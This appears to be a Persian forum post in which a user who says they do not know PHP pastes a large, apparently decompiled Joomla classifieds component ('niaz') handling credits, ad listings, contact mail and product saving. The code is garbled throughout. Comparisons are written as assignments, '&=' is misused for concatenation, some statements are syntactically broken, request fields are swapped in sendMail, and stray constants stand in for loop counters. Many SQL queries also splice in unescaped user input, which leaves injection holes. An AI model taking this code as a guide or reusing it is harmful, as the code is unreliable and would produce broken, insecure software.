UpdateUseCredit($rows, $paymethod, $order_number, $db) { global $my; $query = 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' . $my->id; $db->setQuery( $query ); $rowx = $db->loadObject( ); if (!count( $rowx )) { return null; } $fldCredit = $rowx->fldCredit; foreach ($rows as $row) { $fldTafavot = $fldCredit; if ($row->fldMoney < $fldCredit) { $fldTafavot = $row->fldMoney; } $query = 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner; $db->setQuery( $query ); $IsHere = $db->loadResult( ); if (!$IsHere) { $query = 'UPDATE #__niaz_credit_users' . ( ' SET fldTafavot = fldTafavot+' . $fldTafavot . ',fldCredit=fldCredit-' . $fldTafavot ) . ( ' WHERE fldUID = ' . $my->id ); $db->setQuery( $query ); $db->query( ); if ($fldTafavot) { $query = 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldID . ',' . $row->fldOwner . ')'; $db->setQuery( $query ); $db->Query( ); } $query = 'UPDATE #__niaz_prod' . ( ' SET fldOrderNumber = \'' . $order_number . '\' , fldPayMethod = \'' . $paymethod . '\',fldTafavot = ' . $fldTafavot ) . ( ' WHERE fldID = ' . $row->fldID . ' AND fldPay!=1 ' ); $db->setQuery( $query ); $db->query( ); } $fldCredit += $row->fldMoney; if ($fldCredit < 0) { $fldCredit = 432; continue; } } } function ReverseUseCredit($row, $db) { global $option; global $niaz_config; $query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $row->fldOwner . ' AND fldPID = ' . $row->fldID; $db->setQuery( $query ); $db->Query( ); if (( ( is_null( $row->fldStartTime ) && $row->fldMoney ) && $row->fldPay = 1 )) { $PName = $row->fldPName; $total = $row->fldMoney; $query = 'SELECT MAX(fldFactor) FROM #__niaz_payment'; $db->setQuery( $query ); $fldFactor = intval( $db->loadResult( ) ) & 1; $query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')'; $db->setQuery( $query ); if (!$db->Query( )) { $query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner; $db->setQuery( $query ); $db->Query( ); } $credit = 519; if ($row->fldPayMethod = 'etebar') { $credit = $total; } $fldDesc = JText::sprintf( 'REVERSE_CREDIT_3', $PName ) . '#::#' . JText::sprintf( 'REVERSE_CREDIT_4', Comma( $row->fldMoney ), $niaz_config->fldCurrency ); $query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $PName . '\',\'return\',\'\',-' . $total . ',' . $credit . ',' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');'; $db->setQuery( $query ); $db->Query( ); } else { if (( is_null( $row->fldStartTime ) && $row->fldTafavot )) { $PName = $row->fldPName; $total = $row->fldTafavot; $query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')'; $db->setQuery( $query ); if (!$db->Query( )) { $query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner; $db->setQuery( $query ); $db->Query( ); } } } $query = 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' . $row->fldID; $db->setQuery( $query ); $db->Query( ); } function LoadUserStyle($type, $file) { global $option; $no_html = JRequest::getvar( 'no_html', 0 ); if ($no_html) { return null; } $tmpl = JRequest::getvar( 'tmpl', '' ); if ($tmpl = 'component') { $no_html = 395; } switch ($no_html) { case 0: { $document = JFactory::getdocument( ); switch ($type) { case 'js': { $js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file ); $document->addScript( $js ); break; } case 'css': { $css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file ); $document->addStyleSheet( $css ); } } break; } case 1: { switch ($type) { case 'js': { $js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file ); echo '<script src="' . $js . '" type="text/javascript"></script>'; break; } case 'css': { $css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file ); echo '<link rel="stylesheet" href="' . $css . '" type="text/css" />'; } } } } } function SaveCookie($content = '') { global $option; global $mainframe; $content &= ' '; if (is_dir( JPATH_SITE . DS . 'mytemp' )) { $f = fopen( JPATH_SITE . DS . 'mytemp' . DS . 'SQL_' . date( 'Y-m-d-H-i' ) . '.txt', 'a+' ); fwrite( $f, $content, strlen( $content ) ); fclose( $f ); } } function LoadCurrentCredit() { echo LoadCredit( ); } } ?>
سلام
متاسفانه من php كار نكردم
براي همين از دوستان كمك خواستم
- - - Updated - - -
سلام
متاسفانه من php كار نكردم
براي همين از دوستان كمك خواستم
کد PHP:
<?php
if (!( defined( '_JEXEC' ))) {
exit( 'Restricted access' );
(bool)true;
}
jimport( 'joomla.application.component.controller' );
class NiazController extends JController {
function __construct() {
parent::( );
}
function ReBackCredit() {
global $my;
$PID = JRequest::getvar( 'ix', 0, 'POST' );
$PID = intval( base64_decode( $PID ) );
$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
$db->setQuery( $query );
$row = $db->loadObject( );
$total = 472;
if (count( $row )) {
$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
$query = 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$fldMoney = $db->loadResult( );
$query = 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' . $my->id;
$query = self::cleansql( $query );
$db->setQuery( $query );
$total = ($fldMoney ? $db->loadResult( ) : 0);
$fldMoney = Comma( $fldMoney );
}
if (intval( $total )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $row->fldTafavot . ',fldTafavot=fldTafavot-' . $row->fldTafavot . ' WHERE fldUID=' . $my->id;
$db->setQuery( $query );
$db->Query( );
$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_COMPLETED' );
return null;
}
$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_ERROR' );
}
function WhereCluse($view) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $niaz_config;
global $DLANG;
global $AU;
$db = JFactory::getdbo( );
$limit = JRequest::getvar( 'limit', $app->getCfg( 'list_limit' ) );
$limitstart = JRequest::getvar( 'limitstart', 0 );
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
$Type = JRequest::getvar( 'Type', 0 );
$key = JRequest::getvar( 'key' );
$id = JRequest::getvar( 'id', 0 );
$layout = JRequest::getvar( 'layout', NULL );
$fldUID = JRequest::getvar( 'fldUID', 0 );
$key = urldecode( JRequest::getvar( 'key', '' ) );
$A = array( );
$where = '';
switch ($view) {
case 'myads': {
$A[] = 'fldOwner=' . $my->id;
break;
}
default: {
if (!empty( $key )) {
$query = 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' . $key . '\' AND published = 1';
$db->setQuery( $query );
$Keys = $db->loadResultArray( );
if (!count( $Keys )) {
$Keys[] = 0;
}
if (!isset( $_SESSION[$key] )) {
$query = 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' . $key . '\'';
$db->setQuery( $query );
$db->Query( );
$_SESSION[$key] = 1;
}
$query = 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' . implode( ',', $Keys ) . ') ';
$db->setQuery( $query );
$KeyArray = $db->loadResultArray( );
if (count( $KeyArray )) {
$A[] = 'fldID IN (' . implode( ',', $KeyArray ) . ')';
}
}
$A[] = 'published=1';
}
}
if ($catid) {
$A[] = 'parent_id=' . $catid;
}
if ($subcatid) {
$A[] = 'fldRelation=' . $subcatid;
}
$K = implode( ' AND ', $A );
if ($K) {
$where = ' WHERE (' . $K . ')';
}
$where = self::cleansql( $where );
return $where;
}
function LoadSQL($table, $where, $fields = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $mainframe;
global $AU;
global $niaz_config;
$db = JFactory::getdbo( );
$limit = JRequest::getint( 'limit', $niaz_config->fldNShow );
$view = JRequest::getvar( 'view', 'niaz' );
$limitstart = JRequest::getint( 'limitstart' );
$ordering = 'fldID DESC';
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$table2 = $table;
if (( $view = 'niaz' || $view = '' )) {
$query = 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ? ' AND fldID = ' . $catid : '');
$db->setQuery( $query );
$CatArray = $db->loadResultArray( );
$CatArray[] = 0;
$query = 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' . implode( ',', $CatArray ) . ') ' . ($subcatid ? ' AND fldID = ' . $subcatid : '');
$db->setQuery( $query );
$SubCatArray = $db->loadResultArray( );
$SubCatArray[] = 0;
$where &= (strlen( $where ) ? ' AND fldRelation IN (' . implode( ',', $SubCatArray ) . ')' : 'WHERE fldRelation IN (' . implode( ',', $SubCatArray ) . ')');
}
switch ($table) {
case 'prod': {
$ordering = 'fldStartTime DESC';
$orderingX = '';
switch ($view) {
case 'myads': {
$fields = '*';
break;
}
case 'pay': {
$fields = '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMoney`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber`,`fldPName`,`fldImage`,`fldOwner`' . (strlen( $fields ) ? $fields : '');
break;
}
default: {
$fields = '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldShowLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`,`fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA';
$orderingX = 'OA DESC,fldStar';
$ordering = '';
$orderingX = (strlen( $niaz_config->fldField55 ) ? str_replace( array( ':', '*' ), array( ' ', ',' ), $niaz_config->fldField55 ) : $orderingX);
}
}
$ordering = '' . $orderingX . ' ' . $ordering;
if ($view = 'myads') {
$ordering = 'fldID DESC';
}
else {
$where &= (intval( $niaz_config->fldField30 ) ? '' : ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 ');
}
break;
}
case 'rss': {
$table2 = 'prod';
}
}
$query = 'SELECT COUNT(*) FROM #__niaz_' . $table . ' ' . $where;
$db->setQuery( $query );
$total = $db->loadResult( );
$limitx = '
LIMIT ' . $limitstart . ', ' . $limit;
jimport( 'joomla.html.pagination' );
$pageNav = new JPagination( $total, $limitstart, $limit );
$query = 'SELECT ' . $fields . ' FROM #__niaz_' . $table . ' ' . $where . ' ' . ( '
ORDER BY ' . $ordering ) . $limitx;
$db->setQuery( $query );
$rows = $db->loadObjectList( );
return array( $rows, $pageNav );
}
function LoadMySQL($table, $where) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $mainframe;
global $AU;
global $niaz_config;
$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_' . $table . ' WHERE ' . $where . ' ';
$db->setQuery( $query );
$rows = $db->loadObjectList( );
return $rows;
}
function LoadMiniAds($rows) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
$C = array( );
echo ' <div width="100%" class="border">
';
$j = 480;
$i = 480;
$n = count( $rows );
while ($i < $n) {
$row = $rows[$i];
if (( ( ( intval( $niaz_config->fldField48 ) && intval( $niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) {
$ExpDate[] = $row->fldID;
}
$_SESSION['CID'][] = $row->fldID;
$C[] = $row->fldID;
echo ' <div class="banner">
<a href="';
echo JRoute::_( 'index.php?option=' . $option . '&view=detail&id=' . $row->fldID . ':' . $row->fldPName );
echo '" class="title">
';
if ('' < $row->fldImage) {
$fldImage = explode( ',', $row->fldImage );
$A = rand( 1, count( $fldImage ) );
$fldImage = $fldImage[$A - 1];
echo ' <img src="components/';
echo $option;
echo '/files/prod/';
echo '' . $row->fldDate . '/' . $row->fldID;
echo '/tmb_';
echo $fldImage;
echo '" title="';
echo $rows[$i]->fldPName;
echo '" alt="';
echo $rows[$i]->fldPName;
echo '" class="tniypic">
';
}
else {
echo ' <img src="components/';
echo $option;
echo '/images/tmb_pic.png" alt="';
echo $rows[$i]->fldPName;
echo '" title="';
echo $rows[$i]->fldPName;
echo '" class="tniypic">
';
}
echo '
<img border="0" src="';
echo 'components/' . $option . '/images/star_' . $row->fldStar . '.gif';
echo '" />
<br/>';
echo '<s';
echo 'pan>';
echo $row->fldPName;
echo '</span></a>
</div>
';
++$i;
}
echo ' </div>
';
viewCounts( $C );
if (isset( $ExpDate )) {
self::updateexpdate( $ExpDate );
}
}
function UpdateExpDate($ids) {
$db = JFactory::getdbo( );
$ExpDate = implode( ',', $ids );
$query = 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' . $ExpDate . ')';
$db->setQuery( $query );
$db->Query( );
}
function LoadConfig() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $Cat;
global $SubCat;
global $SubCatAll;
$db = JFactory::getdbo( );
if (count( $niaz_config )) {
return true;
}
echo '<div class="message">' . JText::_( 'NIAZ_ERROR_CONFIG' ) . '</div>';
return false;
}
function showMail($aid) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_prod ' . ( '
WHERE fldID = ' . $aid );
$db->setQuery( $query );
$rowsa = $db->loadObject( );
$email = $rowsa->fldEMAil;
$uid = $rowsa->fldOwner;
$query = 'SELECT * FROM #__users ' . ( '
WHERE id = ' . $uid );
$db->setQuery( $query );
$rows = $db->loadObject( );
if (count( $rowsa )) {
if ($rowsa->fldEMAil) {
self::showmails( $rows, $rowsa );
return null;
}
echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_NONE_EMAIL' ) . '</a></p>';
return null;
}
echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_BACK' ) . '</a></p>';
}
function showMails($rows, $rowsa) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
$db = JFactory::getdbo( );
if ($niaz_config->fldField20 = 2) {
$A['css'] = 'slider.css';
$A['js'] = 'slider.js';
foreach ($A as $k => $v) {
NiazController::loaduserstyle( $k, $v );
}
}
if (intval( $niaz_config->fldField19 )) {
$i2 = 578;
}
$i2 = 578;
echo ' ';
echo '<s';
echo 'cript language="javascript">
function checkMail(x){
var filter = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(x))
return 0;
else
return 1;
}
//=======================================================================
function validAdsMessage(){
var form = document.EForm;
';
if ($niaz_config->fldField20) {
echo ' if(document.getElementById(\'sec_key\').value==""){
alert("';
echo JText::_( 'ALERT_SEC_CODE' );
echo '");
return false;
}
else
';
}
echo ' if(form.Name.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_YOUR_NAME' );
echo '\');
form.Name.focus();
return;
}
else
if((form.Email.value==\'\')||(checkMail(form.Email.value)))
{
alert(\'';
echo JText::_( 'NIAZ_EMAIL' );
echo '\');
form.Email.focus();
return;
}
else
if(form.Subject.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_SUBJECT' );
echo '\');
form.Subject.focus();
return;
}
else
if(form.Message.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_MESSAGE' );
echo '\');
form.Message.focus();
return;
}
else
form.submit();
}
//=======================================================================
</script>
<div class="adminform">
<form action="';
echo $_SERVER['REQUEST_URI'];
echo '" method="post" name="EForm">
<h3>';
echo JText::_( 'NIAZ_ADS_CONTACT' );
if (isset( $rows )) {
echo ' : <a href="';
echo JRoute::_( 'index.php?option=com_userprofile&view=userprofile&id=' . $rows->id . ':' . $rows->username . '&Itemid=116' );
echo '">';
echo $rows->name;
echo '</a>';
}
echo '</h3>
<div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">';
echo JText::_( 'NIAZ_REQUIERD' );
echo '</div>
<div class="row2">';
echo JText::_( 'NIAZ_RECIVER' );
echo ' : ';
echo (isset( $rows ) ? $rows->name : $rowsa->fldPName);
echo '</div>
<div class="row"><label>';
echo JText::_( 'NIAZ_YOUR_NAME' );
echo '</label><input size="35" name="Name" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_COUNTRY' );
echo '</label><input size="35" name="Country" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_EDU' );
echo '</label><input size="35" name="Edu" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_JOB' );
echo '</label><input size="35" name="Job" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_EMAIL' );
echo '</label><input size="35" name="Email" dir="ltr"></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_SUBJECT' );
echo '</label><input size="35" name="Subject" value="';
echo JText::_( 'NIAZ_DEFUALT_SUBJECT' );
echo ' ';
echo $rowsa->fldPName;
echo '"></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_MESSAGE' );
echo '</label><textarea name="Message" class="NewTable" rows="10"></textarea></div>
';
if (intval( $niaz_config->fldField20 )) {
echo ' <div class="row">
';
if (intval( $niaz_config->fldField20 ) = 1) {
echo ' <label>';
echo JText::_( 'NIAZ_IMAGE_SECURITY' );
echo '</label>
<input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" />
<img src="';
echo JURI::root( );
echo 'components/';
echo $option;
echo '/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" />
<img src="';
echo JURI::root( );
echo 'index.php?option=';
echo $option;
echo '&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" />
';
}
else {
$captcha = time( );
$_SESSION['captcha'] = $captcha;
echo ' <div id="ads-slider" class="dragdealer rounded-cornered w90">
<div class="red-bar handle" id="roleowerADS"><< ';
echo JText::_( 'NIAZ_SEC_ALERT' );
echo ' </div>
</div>
<input type="hidden" name="sec_key" id="sec_key" />
';
echo '<s';
echo 'cript language="javascript">
var MyAlaki = \'';
echo $captcha;
echo '\';
var OkAlert = \'';
echo JText::_( 'NIAZ_SEC_OK' );
echo '\';
</script>
';
}
echo ' </div>
';
}
echo ' <input type="hidden" name="To" value="';
echo $rowsa->fldEMAil;
echo '" />
<input type="hidden" name="option" value="';
echo $option;
echo '" >
<input type="hidden" name="task" value="sendMail" >
<input type="hidden" name="mag" value="';
echo JText::_( 'NIAZ_A_ADS' );
echo ' ';
echo $rowsa->fldPName;
echo '" >
<input type="button" value="';
echo JText::_( 'NIAZ_SEND_MAIL' );
echo '" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;">
</form>
</div>
';
echo '<s';
echo 'cript language="javascript">
';
if ($niaz_config->fldField20 = 2) {
echo ' new Dragdealer(\'ads-slider\');
';
}
echo '</script>
';
}
function sendMail() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;
$db = JFactory::getdbo( );
$MailFrom = $app->getCfg( 'mailfrom' );
$FromName = $app->getCfg( 'fromname' );
$SiteName = $app->getCfg( 'sitename' );
if (intval( $niaz_config->fldField20 )) {
$sec_key = JRequest::getvar( 'sec_key' );
if ($sec_key != $_SESSION['captcha']) {
$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
}
$Email = $Subject = $Message = ;
$Job = JRequest::getvar( 'Message', '', 'POST' );
$Edu = JRequest::getvar( 'Subject', '', 'POST' );
$Country = JRequest::getvar( 'Email', '', 'POST' );
$Name = JRequest::getvar( 'Job', '', 'POST' );
$mag = JRequest::getvar( 'Edu', '', 'POST' );
JRequest::getvar( 'To', '', 'POST' );
$To = JRequest::getvar( 'Country', '', 'POST' );
JRequest::getvar( 'si', 'X', 'POST' );
$si = JRequest::getvar( 'Name', '', 'POST' );
JRequest::getvar( 'siu', 'Y', 'POST' );
$siu = JRequest::getvar( 'mag', '', 'POST' );
if ($mag) {
$mag = JText::_( 'ADS_TO_ADMIN' ) . ' ' . $mag;
}
else {
$mag = JText::_( 'ADS_TO_USER' ) . ( ' ' . $SiteName );
}
$body = $Name . ( ' <' . $Email . '>
' ) . JText::_( 'NIAZ_JOB' ) . ' : ' . $Job . '
' . JText::_( 'NIAZ_EDU' ) . ' : ' . $Edu . ( '
' . $mag . '
' ) . $Message . '
' . '
. ' . JText::_( 'NIAZ_SENT' ) . ( ' ' . $mosconfig_live_site . ' ' ) . JText::_( 'NIAZ_BY_OUR_SITE' ) . ( ' ' . $SiteName . ' ' ) . JText::_( 'NIAZ_TO_ADD' ) . ( '
<' . $FromName . '>' . $MailFrom );
$M = JUTility::sendmail( $MailFrom, $FromName, $To, $Subject, $body, 0, NULL, NULL, NULL );
if (is_object( $M )) {
$M = 577;
}
if ($M) {
JText::_( 'NIAZ_SENT_SUCCESS' );
$msg = ;
}
else {
$msg = '';
}
$this->setMessage( $msg );
$this->setRedirect( $_SERVER['REQUEST_URI'] );
return true;
}
function CheckAccess() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $option;
global $RTL;
if ($my->id = 0) {
$uri = JFactory::geturi( );
$return = $uri->toString( );
$url = 'index.php?option=com_users&view=login';
$url &= '&return=' . base64_encode( $return );
$app = JFactory::getapplication( );
$app->redirect( JRoute::_( $url ), JText::_( 'You must login first' ) );
}
}
function saveprod($task = 'save') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $option;
global $RTL;
$db = JFactory::getdbo( );
if ($niaz_config->fldUType = 0) {
NiazController::checkaccess( );
}
if (!intval( $niaz_config->fldField42 )) {
$niaz_config->fldField42 = 10;
}
if (!intval( $niaz_config->fldField56 )) {
$niaz_config->fldField56 = 2;
}
$ShortDescX = JRequest::getvar( 'ShortDesc', array( ), 'POST' );
$ShortDesc = array( );
foreach ($ShortDescX as $k => $v) {
if (( $k < $niaz_config->fldField42 && strlen( trim( $v ) ) )) {
$vx = explode( ' ', $v );
if (intval( $niaz_config->fldField56 ) < count( $vx )) {
$v = array_slice( $vx, 0, $niaz_config->fldField56 );
$v = implode( ' ', $v );
}
$ShortDesc[] = $v;
continue;
}
}
$ShortDesc = array_unique( $ShortDesc );
JRequest::setvar( 'fldShort', implode( ',', $ShortDesc ) );
JRequest::setvar( 'fldEXPMail', 0 );
if (count( $ShortDesc )) {
foreach ($ShortDesc as $v) {
$query = 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' . $v . '\');';
$db->setQuery( $query );
$db->Query( );
}
}
$id = JRequest::getint( 'fldID', 0, 'POST' );
$PName = JRequest::getvar( 'fldPName', '', 'POST' );
$X = self::isuniquename( $PName, $id );
if ($X) {
$this->setMessage( JText::_( 'ALERT_DUPLICATE_NAME' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
if (intval( $niaz_config->fldField20 )) {
$sec_key = JRequest::getvar( 'sec_key' );
if ($sec_key != $_SESSION['captcha']) {
$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
}
require_once( JPATH_SITE . DS . 'administrator' . DS . 'components' . DS . $option . DS . 'tables' . DS . 'prod.php' );
$FType = array( );
if (strlen( $niaz_config->fldField45 )) {
$U = explode( '*', $niaz_config->fldField45 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
$FType['fldFilmsize'][$D[0]] = $D[1];
}
$FType['fldFilm'] = $X;
}
if (strlen( $niaz_config->fldField44 )) {
$U = explode( '*', $niaz_config->fldField44 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
$FType['fldImagesize'][$D[0]] = $D[1];
}
$FType['fldImage'] = $X;
}
$File = array( );
$B = array( );
$msg = '';
$table = 'prod';
$fldStat = JRequest::getvar( 'fldStat' );
$row = new NiazTableProd( $db );
$row->load( $id );
if (5 < $fldStat) {
$_POST['fldStat'] = 0;
}
$fldDate = ($id ? $row->fldDate : date( 'Y-m-d' ));
$_POST['fldDate'] = $fldDate;
$_POST['fldOwner'] = $my->id;
if (intval( $niaz_config->fldField32 ) = 0) {
$_POST['fldDesc'] = strip_tags( $_POST['fldDesc'] );
if ($niaz_config->fldField43) {
$fldDesc = explode( ' ', $_POST['fldDesc'] );
$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
$_POST['fldDesc'] = implode( ' ', $fldDesc );
}
}
$FT = array( );
$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
$db->setQuery( $query );
$Cols = $db->loadObjectList( );
$i = 2099;
foreach ($Cols as $h) {
if (substr( $h->Field, 0, 8 ) = 'fldExtra') {
if ($h->Type = 'text') {
$FT[] = $h->Field;
++$i;
continue;
}
continue;
}
}
foreach ($FT as $v) {
if (intval( $niaz_config->fldField32 ) = 0) {
JRequest::setvar( $v, strip_tags( $_POST[$v] ), 'POST' );
if ($niaz_config->fldField43) {
$fldDesc = explode( ' ', $_POST[$v] );
$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
JRequest::setvar( $v, implode( ' ', $fldDesc ), 'POST' );
continue;
}
continue;
}
}
$DELPIC = ($my->id ? JRequest::getvar( 'DELPIC', array( ) ) : array( ));
$maindestfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate );
$destfolder = $maindestfolder . DS . ( '' . $id );
$Err = 2099;
foreach ($_FILES as $k => $v) {
foreach ($v as $k1 => $v1) {
if ($k1 = 'name') {
foreach ($v1 as $k2 => $v2) {
if (strlen( $v2 )) {
$v2 = strtolower( $v2 );
$s = explode( '.', $v2 );
$se = $s[count( $s ) - 1];
if (( !in_array( $se, $FType[$k] ) || ( $FType[$k . 'size'][$se] && $FType[$k . 'size'][$se] < intval( $v['size'][$k2] \ 1024 ) ) )) {
$Err = 2100;
}
$File[$k][] = $v2;
continue;
}
}
continue;
}
}
}
if (( ( ( $niaz_config->fldField29 && strlen( $niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen( $row->fldImage ) )) {
$Err = 2101;
}
if ($Err) {
$this->setMessage( ($Err = 1 ? JText::_( 'ERROR_UPLOAD_FILE' ) : JText::_( 'ERROR_EMPTY_FILE' )), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
if (count( $DELPIC )) {
foreach ($DELPIC as $k => $v) {
if (strlen( $row->$k )) {
$A = explode( ',', $row->$k );
$B = $DELPIC[$k];
$C = array( );
$i = 2099;
while ($i < count( $B )) {
if (file_exists( '' . $destfolder . '/' . $B[$i] )) {
JFile::delete( '' . $destfolder . '/' . $B[$i] );
}
if (file_exists( '' . $destfolder . '/tmb_' . $B[$i] )) {
JFile::delete( '' . $destfolder . '/tmb_' . $B[$i] );
}
if (in_array( $B[$i], $A )) {
$U = array_keys( $A, $B[$i] );
$A[$U[0]] = NULL;
}
++$i;
}
arsort( $A );
$i = 2099;
$n = count( $B );
while ($i < $n) {
array_pop( $A );
++$i;
}
$_POST[$k] = (count( $A ) ? implode( ',', $A ) : '');
$row->$k = (count( $A ) ? implode( ',', $A ) : '');
continue;
}
}
$msg &= JText::sprintf( 'MYPN_FILE_DELETE', count( $B ) );
}
$A = array( );
$NFile = array( );
foreach ($File as $k => $v) {
$A[$k] = $v;
}
if (count( $A )) {
$C2 = 2099;
foreach ($A as $k => $v) {
$B1 = self::savefile( $fldDate, $k, $table, $id );
$B1 = explode( ',', $B1 );
$NFile[$k] = $B1;
$C2 += count( $B1 );
$_POST[$k] = ($id ? (strlen( $row->$k ) ? $row->$k . ',' : '') . implode( ',', $B1 ) : implode( ',', $B1 ));
if (!$id) {
$FArray[$k] = implode( ',', $B1 );
continue;
}
}
$msg &= JText::sprintf( 'MYPN_FILE_ADDED', $C2 );
}
if (!isset( $_POST['fldImage'] )) {
$_POST['fldImage'] = $row->fldImage;
}
if (!isset( $_POST['fldFilm'] )) {
$_POST['fldFilm'] = $row->fldFilm;
}
$_POST['fldEdit'] = ($id ? $row->fldEdit & 1 : 0);
self::calculateform( $_POST );
$_POST['fldPay'] = 0;
if (( $niaz_config->fldField25 = 3 && !$_POST['fldPay'] )) {
$_POST['published'] = 1;
}
